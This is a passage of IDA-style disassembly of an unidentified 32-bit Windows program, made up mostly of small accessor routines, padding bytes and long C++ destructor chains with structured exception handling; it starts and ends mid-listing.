		call	j_nullsub_5
		pop	ecx
		retn	4
sub_416790	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4167B0	proc near		; CODE XREF: sub_401357j

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_4167B0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4167D0	proc near		; CODE XREF: sub_401F8Cj
		mov	eax, [ecx]
		retn
sub_4167D0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4167F0	proc near		; CODE XREF: sub_4017DFj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_4167F0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416810	proc near		; CODE XREF: sub_401EBAj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D2A
sub_416810	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416840	proc near		; CODE XREF: sub_401866j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_437AD2
sub_416840	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416860	proc near		; CODE XREF: sub_401E15j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_4020EA
		add	esp, 8
		retn	8
sub_416860	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416890	proc near		; CODE XREF: sub_401401j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_3
		pop	ecx
		retn	4
sub_416890	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4168B0	proc near		; CODE XREF: sub_401618j

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_4168B0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4168D0	proc near		; CODE XREF: sub_4012CBj
		mov	eax, [ecx]
		retn
sub_4168D0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4168F0	proc near		; CODE XREF: sub_401E74j

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_4168F0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416920	proc near		; CODE XREF: sub_40125Dj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_41693B
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_41693B:				; CODE XREF: sub_416920+11j
		retn
sub_416920	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_6. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416970	proc near		; CODE XREF: sub_40205Ej

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_41698B
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_41698B:				; CODE XREF: sub_416970+11j
		retn
sub_416970	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_5. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4169C0	proc near		; CODE XREF: sub_4020EAj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_4169DB
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_4169DB:				; CODE XREF: sub_4169C0+11j
		retn
sub_4169C0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND]
aRrrrrrrrrrrrrr	db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜθ',1Bh,0
		align 4
		dd 36E900h, 90900000h, 90909090h, 4 dup(0CCCCCCCCh), 449118B9h
		dd 0B426E900h, 9090FFFEh, 90909090h, 4 dup(0CCCCCCCCh)
		dd 416A7068h, 115CE800h, 0C3590002h, 90909090h,	4 dup(0CCCCCCCCh)
		dd 449118B9h, 0B1DEE900h, 9090FFFEh, 90909090h,	4 dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------


loc_416A90:				; CODE XREF: ___:00401C58j
		push	0FFFFFFFFh
		push	offset loc_43B2E1
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+4], esi
		lea	ecx, [esi+9FD83h]
		mov	dword ptr [esp+10h], 1Ah
		call	sub_4021FD
; ---------------------------------------------------------------------------
		lea	ecx, [esi+9FD6Ch]
		mov	byte ptr [esp+10h], 19h
		call	sub_401226
		lea	ecx, [esi+9FD57h]
		mov	byte ptr [esp+10h], 18h
		call	sub_401226
		lea	ecx, [esi+9FD42h]
		mov	byte ptr [esp+10h], 17h
		call	sub_401226
		lea	ecx, [esi+9FD2Dh]
		mov	byte ptr [esp+10h], 16h
		call	sub_401226
		lea	ecx, [esi+9FC42h]
		mov	byte ptr [esp+10h], 15h
		call	sub_401F00
		lea	ecx, [esi+9FC31h]
		mov	byte ptr [esp+10h], 14h
		call	sub_401776
		lea	ecx, [esi+9FBFFh]
		mov	byte ptr [esp+10h], 13h
		call	sub_402013
		lea	ecx, [esi+9FBCDh]
		mov	byte ptr [esp+10h], 12h
		call	sub_401E06
		lea	ecx, [esi+9FB93h]
		mov	byte ptr [esp+10h], 11h
		call	sub_401889
		lea	ecx, [esi+9FB05h]
		mov	byte ptr [esp+10h], 10h
		call	sub_401113
		lea	ecx, [esi+9FAD3h]
		mov	byte ptr [esp+10h], 0Fh
		call	sub_401F46
		lea	ecx, [esi+9FA73h]
		mov	byte ptr [esp+10h], 0Eh
		call	sub_401B3B
		lea	ecx, [esi+9FA13h]
		mov	byte ptr [esp+10h], 0Dh
		call	sub_4017DA
		lea	ecx, [esi+8F4BFh]
		mov	byte ptr [esp+10h], 0Ch
		call	sub_4018D9
		lea	ecx, [esi+8F3A2h]
		mov	byte ptr [esp+10h], 0Bh
		call	sub_401ECE
		lea	ecx, [esi+8F285h]
		mov	byte ptr [esp+10h], 0Ah
		call	sub_402239
		lea	ecx, [esi+8F270h]
		mov	byte ptr [esp+10h], 9
		call	sub_4017AD
		lea	ecx, [esi+8F247h]
		mov	byte ptr [esp+10h], 8
		call	sub_401A32
		lea	ecx, [esi+8EF5Dh]
		mov	byte ptr [esp+10h], 7
		call	sub_4013C5
; ---------------------------------------------------------------------------
		lea	ecx, [esi+1E6Fh]
		mov	byte ptr [esp+10h], 6
		call	sub_401235
		lea	ecx, [esi+1D29h]
		mov	byte ptr [esp+10h], 5
		call	sub_401EA1
		lea	ecx, [esi+1C58h]
		mov	byte ptr [esp+10h], 4
		call	sub_4014FB
		lea	ecx, [esi+1BBEh]
		mov	byte ptr [esp+10h], 3
		call	sub_401AFA
; ---------------------------------------------------------------------------
		lea	ecx, [esi+1B46h]
		mov	byte ptr [esp+10h], 2
		call	sub_401CA3
; ---------------------------------------------------------------------------
		lea	ecx, [esi+15Fh]
		mov	byte ptr [esp+10h], 1
		call	sub_401938
		lea	ecx, [esi+3Eh]
		mov	byte ptr [esp+10h], 0
		call	sub_401447
		mov	ecx, esi
		mov	dword ptr [esp+10h], 0FFFFFFFFh
		call	sub_401262
; ---------------------------------------------------------------------------
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416D00	proc near		; CODE XREF: sub_401A32j
		push	esi
		mov	esi, ecx
		mov	eax, [esi+15h]
		mov	dword ptr [esi], offset	off_43F050
		test	eax, eax
		jle	short loc_416D17
		push	eax
		nop
		call	near ptr 71AB9639h


loc_416D17:				; CODE XREF: sub_416D00+Ej
		mov	ecx, esi
		call	sub_40204F
		pop	esi
		retn
sub_416D00	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416D30	proc near		; CODE XREF: ___:0040126Cj sub_4019CEj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401A32
		test	[esp+4+arg_0], 1
		jz	short loc_416D48
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_416D48:				; CODE XREF: sub_416D30+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_416D30	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416D60	proc near		; CODE XREF: sub_4017ADj
		push	esi
		mov	esi, ecx
		mov	eax, [esi+11h]
		mov	dword ptr [esi], offset	off_43F05C
		test	eax, eax
		jle	short loc_416D77
		push	eax
		nop
		call	near ptr 71AB9639h


loc_416D77:				; CODE XREF: sub_416D60+Ej
		mov	ecx, esi
		call	sub_40204F
		pop	esi
		retn
sub_416D60	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_416D90:				; CODE XREF: ___:00401631j
					; ___:loc_401CADj
		push	esi
		mov	esi, ecx
		call	sub_4017AD
		test	byte ptr [esp+8], 1
		jz	short loc_416DA8
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_416DA8:				; CODE XREF: ___:00416D9Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416DC0	proc near		; CODE XREF: sub_401776j
		mov	dword ptr [ecx], offset	off_43F068
		jmp	sub_40204F
sub_416DC0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_416DE0:				; CODE XREF: ___:loc_401929j
					; ___:004021ADj
		push	esi
		mov	esi, ecx
		call	sub_401776
		test	byte ptr [esp+8], 1
		jz	short loc_416DF8
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_416DF8:				; CODE XREF: ___:00416DEDj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416E10	proc near		; CODE XREF: sub_401889j
		mov	dword ptr [ecx], offset	off_43F074
		add	ecx, 4
		jmp	sub_401023
sub_416E10	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_416E30:				; CODE XREF: ___:00401E60j
		push	0FFFFFFFFh
		push	offset loc_43B4C1
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	[esp+8], esi
		call	sub_4020BD
; ---------------------------------------------------------------------------
		lea	ecx, [esi+3Eh]
		mov	dword ptr [esp+14h], 0
		call	sub_4015E6
		lea	ecx, [esi+15Fh]
		mov	byte ptr [esp+14h], 1
		call	sub_40129E
		lea	ecx, [esi+1B46h]
		mov	byte ptr [esp+14h], 2
		call	sub_402018
; ---------------------------------------------------------------------------
		lea	ecx, [esi+1BBEh]
		mov	byte ptr [esp+14h], 3
		call	sub_401A00
; ---------------------------------------------------------------------------
		lea	ecx, [esi+1C58h]
		mov	byte ptr [esp+14h], 4
		call	sub_401587
		lea	ecx, [esi+1D29h]
		mov	byte ptr [esp+14h], 5
		call	sub_40164F
		lea	ecx, [esi+1E6Fh]
		mov	byte ptr [esp+14h], 6
		call	sub_401780
		lea	ecx, [esi+8EF5Dh]
		mov	byte ptr [esp+14h], 7
		call	sub_40169F
		lea	ecx, [esi+8F247h]
		mov	byte ptr [esp+14h], 8
		call	sub_40182F
		lea	ecx, [esi+8F270h]
		mov	byte ptr [esp+14h], 9
		call	sub_4016BD
		lea	ecx, [esi+8F285h]
		mov	byte ptr [esp+14h], 0Ah
		call	sub_40141F
		lea	ecx, [esi+8F3A2h]
		mov	byte ptr [esp+14h], 0Bh
		call	sub_401302
		lea	ecx, [esi+8F4BFh]
		mov	byte ptr [esp+14h], 0Ch
		call	sub_401271
		lea	ecx, [esi+8F51Fh]
		mov	byte ptr [esp+14h], 0Dh
		call	sub_401D25
		lea	ecx, [esi+9FA13h]
		call	sub_4012FD
		lea	ecx, [esi+9FA73h]
		mov	byte ptr [esp+14h], 0Eh
		call	sub_401A91
		lea	ecx, [esi+9FAD3h]
		mov	byte ptr [esp+14h], 0Fh
		call	sub_401285
		lea	ecx, [esi+9FB05h]
		mov	byte ptr [esp+14h], 10h
		call	sub_401CB7
		lea	ecx, [esi+9FB93h]
		mov	byte ptr [esp+14h], 11h
		call	sub_402121
; ---------------------------------------------------------------------------
		mov	byte ptr [esp+14h], 12h
		lea	ecx, [esi+9FBCDh]
		call	sub_40157D
		lea	ecx, [esi+9FBFFh]
		mov	byte ptr [esp+14h], 13h
		call	sub_401799
		lea	ecx, [esi+9FC31h]
		mov	byte ptr [esp+14h], 14h
		call	sub_401069
		lea	ecx, [esi+9FC42h]
		mov	byte ptr [esp+14h], 15h
		call	sub_401073
		lea	ecx, [esi+9FD2Dh]
		mov	byte ptr [esp+14h], 16h
		call	sub_40142E
		lea	ecx, [esi+9FD42h]
		mov	byte ptr [esp+14h], 17h
		call	sub_40142E
		lea	ecx, [esi+9FD57h]
		mov	byte ptr [esp+14h], 18h
		call	sub_40142E
		lea	ecx, [esi+9FD6Ch]
		mov	byte ptr [esp+14h], 19h
		call	sub_40142E
		lea	eax, [esp+7]
		lea	ecx, [esi+9FD83h]
		push	eax
		mov	byte ptr [esp+18h], 1Ah
		call	sub_401B0E
; ---------------------------------------------------------------------------
		mov	ecx, [esp+0Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4170B0	proc near		; CODE XREF: sub_401262j

var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4170B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401B1D
sub_4170B0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esi+4]
		mov	dword ptr [esp+10h], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417120	proc near		; CODE XREF: sub_401938j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417120
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+179Fh]
		mov	[esp+14h+var_4], 3Ch
		call	sub_40208B
		lea	ecx, [esi+1557h]
		mov	byte ptr [esp+14h+var_4], 3Bh
		call	sub_40208B
		lea	ecx, [esi+130Fh]
		mov	byte ptr [esp+14h+var_4], 3Ah
		call	sub_40208B
		lea	ecx, [esi+10C7h]
		mov	byte ptr [esp+14h+var_4], 39h
		call	sub_40208B
		lea	ecx, [esi+0E7Fh]
		mov	byte ptr [esp+14h+var_4], 38h
		call	sub_40208B
		mov	byte ptr [esp+14h+var_4], 37h
		lea	ecx, [esi+0E51h]
		call	sub_401023
		lea	ecx, [esi+0E23h]
		mov	byte ptr [esp+14h+var_4], 36h
		call	sub_401023
		lea	ecx, [esi+0DF5h]
		mov	byte ptr [esp+14h+var_4], 35h
		call	sub_401023
		lea	ecx, [esi+0DC7h]
		mov	byte ptr [esp+14h+var_4], 34h
		call	sub_401023
		lea	ecx, [esi+0D99h]
		mov	byte ptr [esp+14h+var_4], 33h
		call	sub_401023
		lea	ecx, [esi+0D6Bh]
		mov	byte ptr [esp+14h+var_4], 32h
		call	sub_401023
		lea	ecx, [esi+0D3Dh]
		mov	byte ptr [esp+14h+var_4], 31h
		call	sub_401023
		lea	ecx, [esi+0D0Fh]
		mov	byte ptr [esp+14h+var_4], 30h
		call	sub_401023
		lea	ecx, [esi+0CE1h]
		mov	byte ptr [esp+14h+var_4], 2Fh
		call	sub_401023
		lea	ecx, [esi+0CB3h]
		mov	byte ptr [esp+14h+var_4], 2Eh
		call	sub_401023
		lea	ecx, [esi+0C85h]
		mov	byte ptr [esp+14h+var_4], 2Dh
		call	sub_401023
		lea	ecx, [esi+0C57h]
		mov	byte ptr [esp+14h+var_4], 2Ch
		call	sub_401023
		lea	ecx, [esi+0C29h]
		mov	byte ptr [esp+14h+var_4], 2Bh
		call	sub_401023
		lea	ecx, [esi+0BFBh]
		mov	byte ptr [esp+14h+var_4], 2Ah
		call	sub_401023
		lea	ecx, [esi+0BCDh]
		mov	byte ptr [esp+14h+var_4], 29h
		call	sub_401023
		lea	ecx, [esi+0B9Fh]
		mov	byte ptr [esp+14h+var_4], 28h
		call	sub_401023
		lea	ecx, [esi+0B71h]
		mov	byte ptr [esp+14h+var_4], 27h
		call	sub_401023
		lea	ecx, [esi+0B28h]
		mov	byte ptr [esp+14h+var_4], 26h
		call	sub_401AE6
		lea	ecx, [esi+0ADFh]
		mov	byte ptr [esp+14h+var_4], 25h
		call	sub_401AE6
		lea	ecx, [esi+0A96h]
		mov	byte ptr [esp+14h+var_4], 24h
		call	sub_401AE6
		lea	ecx, [esi+0A4Dh]
		mov	byte ptr [esp+14h+var_4], 23h
		call	sub_401AE6
		lea	ecx, [esi+0A04h]
		mov	byte ptr [esp+14h+var_4], 22h
		call	sub_401AE6
		lea	ecx, [esi+9BBh]
		mov	byte ptr [esp+14h+var_4], 21h
		call	sub_401AE6
		lea	ecx, [esi+972h]
		mov	byte ptr [esp+14h+var_4], 20h
		call	sub_401AE6
		lea	ecx, [esi+929h]
		mov	byte ptr [esp+14h+var_4], 1Fh
		call	sub_401AE6
		lea	ecx, [esi+8E0h]
		mov	byte ptr [esp+14h+var_4], 1Eh
		call	sub_401AE6
		lea	ecx, [esi+897h]
		mov	byte ptr [esp+14h+var_4], 1Dh
		call	sub_401AE6
		mov	byte ptr [esp+14h+var_4], 1Ch
		lea	ecx, [esi+84Eh]
		call	sub_401AE6
		lea	ecx, [esi+805h]
		mov	byte ptr [esp+14h+var_4], 1Bh
		call	sub_401AE6
		lea	ecx, [esi+7BCh]
		mov	byte ptr [esp+14h+var_4], 1Ah
		call	sub_401AE6
		lea	ecx, [esi+773h]
		mov	byte ptr [esp+14h+var_4], 19h
		call	sub_401AE6
		lea	ecx, [esi+72Ah]
		mov	byte ptr [esp+14h+var_4], 18h
		call	sub_401AE6
		lea	ecx, [esi+6E1h]
		mov	byte ptr [esp+14h+var_4], 17h
		call	sub_401AE6
		lea	ecx, [esi+698h]
		mov	byte ptr [esp+14h+var_4], 16h
		call	sub_401AE6
		lea	ecx, [esi+64Fh]
		mov	byte ptr [esp+14h+var_4], 15h
		call	sub_401AE6
		lea	ecx, [esi+606h]
		mov	byte ptr [esp+14h+var_4], 14h
		call	sub_401AE6
		lea	ecx, [esi+5BDh]
		mov	byte ptr [esp+14h+var_4], 13h
		call	sub_401AE6
		lea	ecx, [esi+574h]
		mov	byte ptr [esp+14h+var_4], 12h
		call	sub_401AE6
		lea	ecx, [esi+52Bh]
		mov	byte ptr [esp+14h+var_4], 11h
		call	sub_401AE6
		lea	ecx, [esi+4E2h]
		mov	byte ptr [esp+14h+var_4], 10h
		call	sub_401AE6
		lea	ecx, [esi+499h]
		mov	byte ptr [esp+14h+var_4], 0Fh
		call	sub_401AE6
		lea	ecx, [esi+450h]
		mov	byte ptr [esp+14h+var_4], 0Eh
		call	sub_401AE6
		lea	ecx, [esi+407h]
		mov	byte ptr [esp+14h+var_4], 0Dh
		call	sub_401AE6
		lea	ecx, [esi+3BEh]
		mov	byte ptr [esp+14h+var_4], 0Ch
		call	sub_401AE6
		lea	ecx, [esi+375h]
		mov	byte ptr [esp+14h+var_4], 0Bh
		call	sub_401AE6
		lea	ecx, [esi+32Ch]
		mov	byte ptr [esp+14h+var_4], 0Ah
		call	sub_401AE6
		lea	ecx, [esi+2E3h]
		mov	byte ptr [esp+14h+var_4], 9
		call	sub_401AE6
		lea	ecx, [esi+29Ah]
		mov	byte ptr [esp+14h+var_4], 8
		call	sub_401AE6
		lea	ecx, [esi+251h]
		mov	byte ptr [esp+14h+var_4], 7
		call	sub_401AE6
		lea	ecx, [esi+208h]
		mov	byte ptr [esp+14h+var_4], 6
		call	sub_401AE6
		lea	ecx, [esi+1BFh]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_401AE6
		lea	ecx, [esi+176h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401AE6
		lea	ecx, [esi+12Dh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401AE6
		lea	ecx, [esi+0E4h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401AE6
		mov	byte ptr [esp+14h+var_4], 1
		lea	ecx, [esi+9Bh]
		call	sub_401AE6
		lea	ecx, [esi+52h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401AE6
		lea	ecx, [esi+9]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401AE6
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417120	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 110h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417640	proc near		; CODE XREF: sub_4014FBj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417640
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+0A3h]
		mov	[esp+14h+var_4], 3
		call	sub_401023
		lea	ecx, [esi+75h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401023
		lea	ecx, [esi+47h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+19h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417640	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4176E0	proc near		; CODE XREF: sub_401EA1j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4176E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+118h]
		mov	[esp+14h+var_4], 5
		call	sub_401023
		lea	ecx, [esi+0EAh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401023
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401023
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401023
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4176E0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4177B0	proc near		; CODE XREF: sub_401235j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4177B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+8D0C0h]
		mov	[esp+14h+var_4], 3
		call	sub_401023
		lea	ecx, [esi+8D092h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401023
		lea	ecx, [esi+8D064h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+8D036h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+8D008h]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4177B0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417870	proc near		; CODE XREF: sub_402239j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417870
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+0EAh]
		mov	[esp+14h+var_4], 4
		call	sub_401023
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401023
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401023
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417870	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417930	proc near		; CODE XREF: sub_401ECEj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417930
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+0EAh]
		mov	[esp+14h+var_4], 4
		call	sub_401023
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401023
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401023
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417930	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4179F0	proc near		; CODE XREF: sub_4018D9j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
